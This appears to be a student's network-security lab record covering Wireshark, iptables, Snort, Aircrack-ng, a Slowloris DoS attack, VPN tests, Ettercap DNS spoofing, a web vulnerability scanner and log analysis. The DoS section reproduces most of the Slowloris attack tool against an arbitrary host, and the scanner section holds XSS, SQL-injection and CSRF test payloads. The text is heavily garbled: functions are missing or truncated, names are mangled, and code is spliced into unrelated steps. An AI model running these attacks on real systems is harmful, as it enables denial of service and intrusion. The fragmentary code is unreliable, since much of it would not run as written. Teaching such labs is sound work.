cncs final
cncs final
LABORATORY
U23ADP405
II YEAR / IV SEMESTER
ARTIFICIAL INTELLIGENCE AND DATA SCIENCE
TABLE OF CONTENTS
Page
S.NO Date Title Mark Sign
No
Aim:
To analyze network traffic using Wireshark and understand the working of various network
protocols by capturing and inspecting packets.
Procedure:
1. Setup Wireshark
o Install and open Wireshark on your system.
o Choose the appropriate network interface for capturing traffic (e.g., Wi-Fi or
Ethernet).
2. Start Packet Capture
o Click on the interface to start capturing packets.
o Perform network activities such as browsing, downloading files, or using
applications to generate traffic.
3. Stop Packet Capture
o After sufficient traffic has been captured, click on the "Stop" button to end the
capture.
4. Inspect Captured Packets
o Use the filters in Wireshark to focus on specific protocols, such as HTTP,
TCP, UDP, or DNS.
o Select any packet to view its details in the Packet Details and Packet Bytes
panes.
5. Analyze Traffic
o Identify the source and destination IP addresses, protocol types, and payload
information.
o Check for retransmissions, lost packets, and other anomalies.
6. Save or Export the Capture
o Save the captured packets as a .pcap file for future analysis
Program:
import pyshark
capture = pyshark.LiveCapture(interface='any')
print("Capturing packets... Press Ctrl+C to stop.")
try:
for packet in capture.sniff_continuously(packet_count=10):
print(f"\nPacket: {packet.highest_layer}")
if 'IP' in packet:
print(f"Source IP: {packet.ip.src}")
print(f"Destination IP: {packet.ip.dst}")
except KeyboardInterrupt:
print("\nCapture stopped.")
Sample Output:
Packet 1:
o Protocol: TCP
o Source IP: 192.168.0.101
o Destination IP: 93.184.216.34
o Info: [SYN] Seq=0 Win=65535
Result:
The analysis of network traffic using Wireshark was successfully performed.
Ex no: Set Up and Test Firewall Rules Using iptables
Date:
Aim
To configure and test firewall rules using iptables for managing network traffic by allowing,
blocking, or modifying data packets.
Procedure:
1. Install Required Python Modules
o Ensure Python is installed.
o Install the subprocess module (usually pre-installed).
2. Set Up Firewall Rules Using Python
o Use the subprocess module to execute iptables commands programmatically.
3. Define Functions for Rule Management
o Write functions to add, view, and reset rules.
4. Test Rules
o Call the Python functions and test the firewall behavior.
5. Save the Rules
o Save the rules using a subprocess command for persistence.
Program:
import subprocess
# Function to add a rule
def add_firewall_rule(protocol, port, action):
try:
command = f"sudo iptables -A INPUT -p {protocol} --dport {port} -j {action}"
subprocess.run(command, shell=True, check=True)
print(f"Rule added: {protocol.upper()} traffic on port {port} is {action}")
except subprocess.CalledProcessError as e:
print(f"Error while adding rule: {e}")
# Adding rules
add_firewall_rule("tcp", "80", "ACCEPT") # Allow HTTP traffic
add_firewall_rule("tcp", "22", "DROP") # Block SSH traffic
# Viewing rules
print("\nCurrent Firewall Rules:")
view_firewall_rules()
# Clearing rules
print("\nClearing Rules...")
clear_firewall_rules()
Sample Output:
Rule added: TCP traffic on port 80 is ACCEPT
Result:
The experiment demonstrated how to configure and test firewall rules using iptables
Ex no: Deploy and Test Open-Source IDS Using Snort
Date:
Aim:
To deploy and test Snort, an open-source Intrusion Detection System (IDS), for monitoring
and analyzing network traffic to detect potential security threats.
Procedure:
1. Install Snort
o Use Python to ensure Snort is installed by managing package installation using
subprocess (works if Snort is already available in the system's package
manager).
2. Configure Snort
o Update the Snort configuration file using Python's file handling capabilities.
3. Create Custom Rules
o Write a Python script to generate Snort rules dynamically and save them in a
rules file.
4. Run Snort
o Use Python's subprocess module to execute Snort in IDS mode.
5. Test Rules
o Use Python scripts to generate traffic that matches Snort rules (e.g., sending
ICMP requests using sockets).
6. Analyze Alerts
o Open and read the Snort alerts log using Python to validate whether traffic was
detected.
Program:
import subprocess
import socket
import time
def install_snort():
try:
subprocess.run(["sudo", "apt", "install", "snort", "-y"], check=True)
print("✅ Snort installed successfully.")
except Exception as e:
print(f"❌ Error installing Snort: {e}")
def configure_snort():
config_path = "/etc/snort/snort.conf"
try:
with open(config_path, "a") as file:
file.write("\n# Setting HOME_NET\nvar HOME_NET [192.168.1.0/24]\n")
print("✅ Snort configuration updated successfully.")
except Exception as e:
print(f"❌ Error configuring Snort: {e}")
def create_snort_rule():
rule_path = "/etc/snort/rules/local.rules"
rule = 'alert icmp any any -> any any (msg:"ICMP Ping Detected"; sid:1000001; rev:1;)\n'
try:
with open(rule_path, "a") as file:
file.write(rule)
print("✅ Custom Snort rule created successfully.")
except Exception as e:
print(f"❌ Error creating Snort rule: {e}")
def run_snort():
try:
print("🚀 Running Snort... Use Ctrl+C to stop.")
subprocess.run(["sudo", "snort", "-A", "console", "-q", "-c", "/etc/snort/snort.conf", "-i",
"enp0s3"])
except Exception as e:
print(f"❌ Error running Snort: {e}")
def send_icmp_ping(target_ip):
try:
with socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_ICMP) as
s:
s.sendto(b'ping', (target_ip, 1))
print(f"✅ ICMP ping sent to {target_ip}")
except Exception as e:
print(f"❌ Error sending ICMP ping: {e}")
def read_snort_logs():
try:
with open("/var/log/snort/alert", "r") as f:
logs = f.read()
print("📋 Snort Alerts:\n", logs)
except FileNotFoundError:
print("⚠ No alert file found. Did Snort run?")
except Exception as e:
print(f"❌ Error reading Snort logs: {e}")
# install_snort()
# configure_snort()
# create_snort_rule()
# run_snort() # Run this in a separate terminal because it blocks
# send_icmp_ping("192.168.1.1") # Replace with the actual IP of your VM or another device
# read_snort_logs()
Sample Input:
install_snort()
configure_snort()
create_snort_rule()
run_snort()
send_icmp_ping(“192.168.1.1”) # Replace with your target IP
read_snort_logs()
Sample Output:
Snort Alerts:
[**] [1:1000001:0] ICMP Ping Detected [**]
12/18-10:45:23.123456 192.168.1.2 -> 192.168.1.1
ICMP TTL:64 TOS:0x0 ID:12345 IpLen:20 DgmLen:84
Type:8 Code:0 ID:45678 Seq:1
Result:
The experiment successfully deployed and tested Snort as an IDS.
Ex no: Assess Wi-Fi Network Security Using Python for Aircrack-ng
Date:
Aim
To assess the security of a Wi-Fi network by capturing packets, analyzing vulnerabilities, and
testing key recovery using Aircrack-ng, a widely-used Wi-Fi security testing tool.
Procedure:
1. Install Aircrack-ng
o Use Python's subprocess module to install Aircrack-ng if not already available.
2. Monitor Mode Activation
o Use Python to enable monitor mode on the wireless interface.
3. Packet Capture
o Capture packets from the target Wi-Fi network using Python to automate the
airodump-ng process.
4. Test Key Recovery
o Automate the process of testing Wi-Fi key recovery using Aircrack-ng with
captured packets.
5. Analyze Results
o Read and interpret Aircrack-ng's output using Python to determine whether the
Wi-Fi network is secure.
Program:
Result
Using Python automation with Aircrack-ng, the security of the Wi-Fi network was assessed.
Ex no: Simulate DoS Attacks and Evaluate Their Impact
Date:
Aim:
To simulate a Denial of Service (DoS) attack using Python and evaluate its impact on a target
network or server, ensuring ethical and controlled testing in a private or lab environment.
Procedure:
1. Set Up Target Server
o Deploy a simple web server (e.g., Flask-based) as the target for the simulated
DoS attack.
2. Simulate a DoS Attack
o Use Python to create multiple concurrent requests to the target server,
mimicking a flood of traffic.
3. Monitor Impact
o Monitor the server's performance by measuring response times, CPU usage, or
memory consumption during the attack.
4. Analyze Results
o Evaluate how the server handles the traffic and identify points of failure or
degradation.
5. Mitigation Strategies
o Document strategies to prevent or mitigate DoS attacks, such as rate limiting,
load balancing, or firewalls.
Program:
#!/usr/bin/env python3
import argparse
import logging
import random
import socket
import sys
import time
parser = argparse.ArgumentParser(
description="Slowloris, low bandwidth stress test tool for websites"
)
parser.add_argument("host", nargs="?", help="Host to perform stress test on")
parser.add_argument(
"-p", "--port", default=80, help="Port of webserver, usually 80", type=int
)
parser.add_argument(
"-s",
"--sockets",
default=150,
help="Number of sockets to use in the test",
type=int,
)
parser.add_argument(
"-v",
"--verbose",
dest="verbose",
action="store_true",
help="Increases logging",
)
parser.add_argument(
"-ua",
"--randuseragents",
dest="randuseragent",
action="store_true",
help="Randomizes user-agents with each request",
)
parser.add_argument(
"-x",
"--useproxy",
dest="useproxy",
action="store_true",
help="Use a SOCKS5 proxy for connecting",
)
parser.add_argument(
"--proxy-host", default="127.0.0.1", help="SOCKS5 proxy host"
)
parser.add_argument(
"--proxy-port", default="8080", help="SOCKS5 proxy port", type=int
)
parser.add_argument(
"--https",
dest="https",
action="store_true",
help="Use HTTPS for the requests",
)
parser.add_argument(
"--sleeptime",
dest="sleeptime",
default=15,
type=int,
help="Time to sleep between each header sent.",
)
parser.set_defaults(verbose=False)
parser.set_defaults(randuseragent=False)
parser.set_defaults(useproxy=False)
parser.set_defaults(https=False)
args = parser.parse_args()
if len(sys.argv) <= 1:
parser.print_help()
sys.exit(1)
if not args.host:
print("Host required!")
parser.print_help()
sys.exit(1)
if args.useproxy:
# Tries to import to external "socks" library
# and monkey patches socket.socket to connect over
# the proxy by default
try:
import socks
socks.setdefaultproxy(
socks.PROXY_TYPE_SOCKS5, args.proxy_host, args.proxy_port
)
socket.socket = socks.socksocket
logging.info("Using SOCKS5 proxy for connecting...")
except ImportError:
logging.error("Socks Proxy Library Not Available!")
sys.exit(1)
logging.basicConfig(
format="[%(asctime)s] %(message)s",
datefmt="%d-%m-%Y %H:%M:%S",
level=logging.DEBUG if args.verbose else logging.INFO,
)
if args.https:
logging.info("Importing ssl module")
import ssl
list_of_sockets = []
user_agents = [
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/53.0.2785.143 Safari/537.36",
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/54.0.2840.71 Safari/537.36",
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/602.1.50 (KHTML, like
Gecko) Version/10.0 Safari/602.1.50",
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:49.0) Gecko/20100101 Firefox/49.0",
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_0) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/53.0.2785.143 Safari/537.36",
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_0) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/54.0.2840.71 Safari/537.36",
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_1) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/54.0.2840.71 Safari/537.36",
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_1) AppleWebKit/602.2.14 (KHTML, like
Gecko) Version/10.0.1 Safari/602.2.14",
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12) AppleWebKit/602.1.50 (KHTML, like
Gecko) Version/10.0 Safari/602.1.50",
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/51.0.2704.79 Safari/537.36 Edge/14.14393",
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/53.0.2785.143 Safari/537.36",
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/54.0.2840.71 Safari/537.36",
"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/53.0.2785.143 Safari/537.36",
"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/54.0.2840.71 Safari/537.36",
"Mozilla/5.0 (Windows NT 10.0; WOW64; rv:49.0) Gecko/20100101 Firefox/49.0",
"Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/53.0.2785.143 Safari/537.36",
"Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/54.0.2840.71 Safari/537.36",
"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/53.0.2785.143 Safari/537.36",
"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/54.0.2840.71 Safari/537.36",
"Mozilla/5.0 (Windows NT 6.1; WOW64; rv:49.0) Gecko/20100101 Firefox/49.0",
"Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko",
"Mozilla/5.0 (Windows NT 6.3; rv:36.0) Gecko/20100101 Firefox/36.0",
"Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/53.0.2785.143 Safari/537.36",
"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/53.0.2785.143 Safari/537.36",
"Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:49.0) Gecko/20100101 Firefox/49.0",
]
if args.https:
ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
s = ctx.wrap_socket(s, server_hostname=args.host)
s.connect((ip, args.port))
s.send_header("User-Agent", ua)
s.send_header("Accept-language", "en-US,en,q=0.5")
return s
def slowloris_iteration():
logging.info("Sending keep-alive headers...")
logging.info("Socket count: %s", len(list_of_sockets))
# Some of the sockets may have been closed due to errors or timeouts.
# Re-create new sockets to replace them until we reach the desired number.
def main():
ip = args.host
socket_count = args.sockets
logging.info("Attacking %s with %s sockets.", ip, socket_count)
logging.info("Creating sockets...")
for _ in range(socket_count):
try:
logging.debug("Creating socket nr %s", _)
s = init_socket(ip)
except socket.error as e:
logging.debug(e)
break
list_of_sockets.append(s)
while True:
try:
slowloris_iteration()
except (KeyboardInterrupt, SystemExit):
logging.info("Stopping Slowloris")
break
except Exception as e:
logging.debug("Error in Slowloris iteration: %s", e)
logging.debug("Sleeping for %d seconds", args.sleeptime)
time.sleep(args.sleeptime)
if __name__ == "__main__":
main()
Result
The simulated DoS attack created excessive traffic, overwhelming the target server.
Ex no: Set Up and Test VPN Connections for Security and Performance
Date:
Aim:
To set up a Virtual Private Network (VPN) connection and evaluate its security and
performance using Python scripts for automation and testing.
Procedure:
Program:
install_openvpn()
check_public_ip()
2. Measure Network Latency
o Use the ping command to measure latency.
def test_latency(host="8.8.8.8"):
try:
subprocess.run(["ping", "-c", "4", host], check=True)
except Exception as e:
print(f"Error testing latency: {e}")
test_latency()
3. Bandwidth Test
o Use speedtest-cli to measure download and upload speeds.
def test_bandwidth():
try:
subprocess.run(["speedtest-cli"], check=True)
except Exception as e:
print(f"Error testing bandwidth: {e}")
test_bandwidth()
Result
The VPN connection successfully masked the public IP address, enhancing security.
Ex no: Analyze Network Protocols Using Packet Capture Tools
Date:
Aim
To analyze various network protocols (such as TCP, UDP, HTTP, etc.) by capturing and
inspecting network traffic using packet capture tools like Wireshark or Python libraries. The
goal is to understand the structure and behavior of network traffic and protocols.
Procedure :
if TCP in pkt:
tcp_src_port = pkt[TCP].sport
tcp_dst_port = pkt[TCP].dport
print(f"TCP Source Port: {tcp_src_port}, TCP Destination Port: {tcp_dst_port}")
if UDP in pkt:
udp_src_port = pkt[UDP].sport
udp_dst_port = pkt[UDP].dport
print(f"UDP Source Port: {udp_src_port}, UDP Destination Port: {udp_dst_port}")
Result
This experiment provides insights into how packets flow over the network and how different
protocols are used to communicate
Ex no: DNS Spoofing Attack Using Ettercap
Date:
Aim
To demonstrate DNS spoofing attacks using Ettercap, which can redirect the victim’s DNS
requests to malicious IP addresses by poisoning the DNS cache.
Program:
import subprocess
# Main Execution
if _name_ == "_main_":
target_ip = "10.0.2.15" # Replace with actual target
gateway_ip = "10.0.2.2" # Replace with actual gateway
interface = "enp0s3" # Default VirtualBox interface name; might be "enp0s3" or
"ens33" in your case
Non-authoritative answer:
Name: example.com
Address: 192.168.1.100
Result:
This experiment highlights how Ettercap can be used with Python to automate and perform a
DNS spoofing attack in a local network.
Ex no: Testing Web Applications for Common Vulnerabilities
Date:
Aim
The aim of this experiment is to test web applications for common security vulnerabilities
like SQL Injection, Cross-Site Scripting (XSS), Cross-Site Request Forgery (CSRF), and
Insecure File Upload, using Python to automate the testing process.
Procedure
o Identify input fields (e.g., login forms) where user input is processed by a
backend database.
o Send an input containing SQL injection code to see if the application processes
it improperly.
2. XSS Test:
3. CSRF Test:
o Check if the web application uses CSRF tokens for important actions like
changing passwords.
o Test by sending requests without the correct token.
import requests
import argparse
import re
import os
import sys
from urllib.parse import urljoin
from bs4 import BeautifulSoup
from concurrent.futures import ThreadPoolExecutor
from requests.exceptions import ConnectionError, RequestException, Timeout
class VulnerabilityScanner:
def _init_(self, target_url, timeout=10, verbose=False):
self.target_url = target_url
self.timeout = timeout
self.verbose = verbose
self.session = requests.Session()
self.session.headers.update({
'User-Agent': 'VulnerabilityScanner/1.0 (Educational Purposes Only)'
})
print(f"[*] Starting vulnerability scan on {target_url}")
vulnerable = False
for payload in payloads:
try:
response = self.session.post(login_url, data=payload, timeout=self.timeout)
if not vulnerable:
self.log("No SQL Injection vulnerabilities detected", "INFO")
return vulnerable
vulnerable = False
for payload in payloads:
try:
# Test both GET and POST methods
get_response = self.session.get(input_url, params={"q": payload},
timeout=self.timeout)
post_response = self.session.post(input_url, data={"q": payload},
timeout=self.timeout)
if not vulnerable:
self.log("No XSS vulnerabilities detected", "INFO")
return vulnerable
vulnerable = False
try:
# First, make a GET request to find any CSRF tokens
get_response = self.session.get(action_url, timeout=self.timeout)
if not csrf_inputs:
# Test a POST request without a token
data = {"password": "newpassword", "confirm_password": "newpassword"}
post_response = self.session.post(action_url, data=data, timeout=self.timeout)
if not vulnerable:
self.log("No CSRF vulnerabilities detected", "INFO")
return vulnerable
vulnerable = False
temp_dir = "temp_upload_files"
try:
# Create temporary directory for test files
os.makedirs(temp_dir, exist_ok=True)
except Exception as e:
self.log(f"Error in file upload test: {str(e)}", "ERROR")
finally:
# Clean up temporary files
for filename in test_files:
file_path = os.path.join(temp_dir, filename)
if os.path.exists(file_path):
os.remove(file_path)
if os.path.exists(temp_dir):
try:
os.rmdir(temp_dir)
except:
pass
if not vulnerable:
self.log("No insecure file upload vulnerabilities detected", "INFO")
return vulnerable
def scan_all(self):
"""Run all vulnerability tests"""
results = {
"SQL Injection": self.test_sql_injection(),
"XSS": self.test_xss(),
"CSRF": self.test_csrf(),
"Insecure File Upload": self.test_file_upload()
}
return results
def main():
parser = argparse.ArgumentParser(description='Web Application Vulnerability Scanner')
parser.add_argument('url', help='Target URL to scan')
parser.add_argument('--timeout', type=int, default=10, help='Request timeout in seconds')
parser.add_argument('--verbose', action='store_true', help='Enable verbose output')
print("=" * 60)
print("WARNING: This tool is for educational purposes and authorized testing only.")
print("Using this tool against websites without permission may be illegal.")
print("=" * 60)
print()
if __name__ == "__main__":
try:
main()
except KeyboardInterrupt:
print("\nScan interrupted by user.")
sys.exit(0)
except Exception as e:
print(f"An error occurred: {str(e)}")
sys.exit(1)
2. XSS
Input:
• query: <script>alert('XSS')</script>
Output:
plaintext
Copy code
XSS vulnerability found!
3. CSRF
Input:
• password: newpassword
• csrf_token: fake_token
Output:
plaintext
Copy code
CSRF vulnerability found!
Result:
These vulnerabilities can expose web applications to attacks, allowing attackers to steal data
or execute unauthorized actions.
Ex no: Analyze network logs and packet captures to investigate security
incidents.
Date:
Aim
The aim of this experiment is to analyze network logs and packet captures to investigate
security incidents such as potential attacks, unauthorized access, or suspicious activity on a
network. This process helps in identifying the cause of security breaches and mitigating risks.
Procedure
1. Capture Network Traffic:
o Use Wireshark or Scapy to capture network traffic.
o Capture packets from the network for a specific time period or filter packets by
protocol, IP address, or port.
class NetworkSecurityAnalyzer:
def __init__(self):
"""Initialize the Network Security Analyzer tool"""
self.packet_data = []
self.log_data = []
Args:
filter_rule: BPF filter string (e.g., "tcp", "port 80", "host 192.168.1.1")
count: Number of packets to capture
interface: Network interface to capture from (None for default)
Returns:
DataFrame containing captured packet information
"""
print(f"Capturing {count} packets with filter: {filter_rule}...")
# Capture packets
packets = scapy.sniff(count=count, filter=filter_rule, iface=interface)
self.packet_data.append(packet_info)
Args:
log_file_path: Path to the log file
log_type: Type of log file (generic, apache, firewall)
Returns:
DataFrame containing parsed log entries
"""
print(f"Parsing logs from {log_file_path}...")
if not os.path.exists(log_file_path):
print(f"Error: Log file {log_file_path} does not exist")
return pd.DataFrame()
try:
with open(log_file_path, 'r') as f:
log_lines = f.readlines()
except Exception as e:
print(f"Error reading log file: {e}")
return pd.DataFrame()
event_type = "Other"
if "login" in line.lower() and "fail" in line.lower():
event_type = "Failed Login"
elif "login" in line.lower() and "success" in line.lower():
event_type = "Successful Login"
elif any(attack in line.lower() for attack in ["sql", "injection", "xss", "attack"]):
event_type = "Potential Attack"
self.log_data.append({
"timestamp": timestamp,
"event_type": event_type,
"raw_entry": line.strip()
})
# Convert to DataFrame
log_df = pd.DataFrame(self.log_data)
print(f"Parsed {len(log_df)} log entries successfully")
return log_df
Args:
packet_df: DataFrame containing packet information
threshold: Minimum number of different ports from same source to consider as
scanning
Returns:
DataFrame containing potential port scanning sources
"""
if packet_df.empty or 'src_ip' not in packet_df.columns:
return pd.DataFrame()
if not potential_scanners.empty:
print(f"WARNING: Detected {len(potential_scanners)} potential port scanners")
return potential_scanners
Args:
log_df: DataFrame containing log entries
threshold: Minimum number of failed logins to consider as potential brute force
Returns:
DataFrame containing potential brute force sources
"""
if log_df.empty or 'event_type' not in log_df.columns:
return pd.DataFrame()
# Filter to failed login events
failed_logins = log_df[log_df['event_type'] == 'Failed Login']
if 'ip_address' in failed_logins.columns:
# Count failed logins by IP address
failed_counts = failed_logins.groupby('ip_address').size().reset_index()
failed_counts.columns = ['ip_address', 'failed_attempts']
if not potential_brute_force.empty:
print(f"WARNING: Detected {len(potential_brute_force)} potential brute force
sources")
return potential_brute_force
return pd.DataFrame()
Args:
packet_df: DataFrame containing packet information
"""
if packet_df.empty:
print("No data to visualize")
return
plt.figure(figsize=(12, 6))
# 1. Traffic by source IP
if 'src_ip' in packet_df.columns:
plt.subplot(1, 2, 1)
source_counts = packet_df['src_ip'].value_counts().head(10)
source_counts.plot(kind='bar')
plt.title('Top 10 Source IPs')
plt.xlabel('Source IP')
plt.ylabel('Packet Count')
plt.xticks(rotation=45)
# 2. Traffic by protocol
if 'protocol' in packet_df.columns:
plt.subplot(1, 2, 2)
proto_counts = packet_df['protocol'].value_counts()
proto_counts.plot(kind='pie', autopct='%1.1f%%')
plt.title('Traffic by Protocol')
plt.tight_layout()
plt.savefig('traffic_analysis.png')
print("Visualization saved as 'traffic_analysis.png'")
def correlate_events(self, packet_df, log_df):
"""
Correlate network packets with log entries based on timestamps and IPs
Args:
packet_df: DataFrame containing packet information
log_df: DataFrame containing log entries
Returns:
DataFrame containing correlated events
"""
correlated_events = []
if packet_df.empty or log_df.empty:
return pd.DataFrame()
if log_ips:
log_df['extracted_ip'] = log_ips
correlated_df = pd.DataFrame(correlated_events)
print(f"Found {len(correlated_df)} correlated events")
return correlated_df
Args:
packet_df: DataFrame containing packet information
log_df: DataFrame containing log entries
output_file: Path to save the report
"""
if packet_df.empty and log_df.empty:
print("No data to generate report")
return
report = []
report.append("=== NETWORK SECURITY ANALYSIS REPORT ===")
report.append(f"Generated on: {datetime.now().strftime('%Y-%m-%d %H:%M:%S')}")
report.append("=" * 40)
# 1. Traffic Summary
if not packet_df.empty:
report.append("\n1. TRAFFIC SUMMARY")
report.append(f" Total Packets Analyzed: {len(packet_df)}")
if 'protocol' in packet_df.columns:
protocol_counts = packet_df['protocol'].value_counts()
report.append(" Protocol Distribution:")
for proto, count in protocol_counts.items():
report.append(f" - {proto}: {count} packets
({count/len(packet_df)*100:.1f}%)")
if 'src_ip' in packet_df.columns:
top_sources = packet_df['src_ip'].value_counts().head(5)
report.append("\n Top 5 Source IPs:")
for ip, count in top_sources.items():
report.append(f" - {ip}: {count} packets")
# 3. Correlated Events
if not packet_df.empty and not log_df.empty:
correlated = self.correlate_events(packet_df, log_df)
if not correlated.empty:
report.append("\n3. CORRELATED EVENTS")
report.append(" Network packets with matching log entries:")
for i, row in correlated.head(10).iterrows(): # Show top 10
report.append(f"\n Event {i+1}:")
report.append(f" - Time: {row['timestamp']}")
report.append(f" - Log: {row['log_entry']}")
report.append(f" - Packet: {row['packet_src']} → {row['packet_dst']}")
report.append(f" - Details: {row['packet_info']}")
# 4. Recommendations
report.append("\n4. RECOMMENDATIONS")
if not packet_df.empty or not log_df.empty:
if not packet_df.empty and 'src_ip' in packet_df.columns:
unusual_ips = packet_df['src_ip'].value_counts().tail(3).index.tolist()
if unusual_ips:
report.append(" - Monitor these uncommon source IPs for suspicious activity:")
for ip in unusual_ips:
report.append(f" * {ip}")
log_df = analyzer.parse_logs('sample_network.log')
print("\nSample parsed logs:")
print(log_df.head())
# Correlate events
correlated = analyzer.correlate_events(packet_df, log_df)
# Generate visualization
try:
analyzer.visualize_traffic(packet_df)
except Exception as e:
print(f"Error generating visualization: {e}")
# Generate security report
report = analyzer.generate_security_report(packet_df, log_df)
print("\nSecurity Report Preview:")
print("\n".join(report.split("\n")[:15]) + "\n...(report continues)")
if __name__ == "__main__":
main()
Result:
The experiment has been successfully conducted by analyzing network logs and packet
captures.